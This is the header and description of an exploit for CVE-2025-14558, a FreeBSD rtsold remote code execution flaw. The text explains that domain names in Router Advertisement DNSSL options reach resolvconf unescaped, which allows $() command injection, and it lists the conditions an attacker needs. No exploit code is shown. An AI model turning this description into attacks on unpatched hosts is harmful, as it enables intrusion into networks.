# Exploit Title: FreeBSD rtsold 15.x - Remote Code Execution via DNSSL
# Date: 2025-12-16
# Exploit Author: Lukas Johannes Möller
# Vendor Homepage: https://www.freebsd.org/
# Version: FreeBSD 13.x, 14.x, 15.x (before 2025-12-16 patches)
# Tested on: FreeBSD 14.1-RELEASE
# CVE: CVE-2025-14558
#
# Description:
#   rtsold(8) processes IPv6 Router Advertisement DNSSL options without
#   validating domain names for shell metacharacters. The decoded domains
#   are passed to resolvconf(8), a shell script that uses unquoted variable
#   expansion, enabling command injection via $() substitution.
#
# Requirements:
#   - Layer 2 adjacency to target
#   - Target running rtsold with ACCEPT_RTADV enabled
#   - Root privileges (raw socket for sending RA)
#   - Python 3 + Scapy
#
# References:
#   https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc
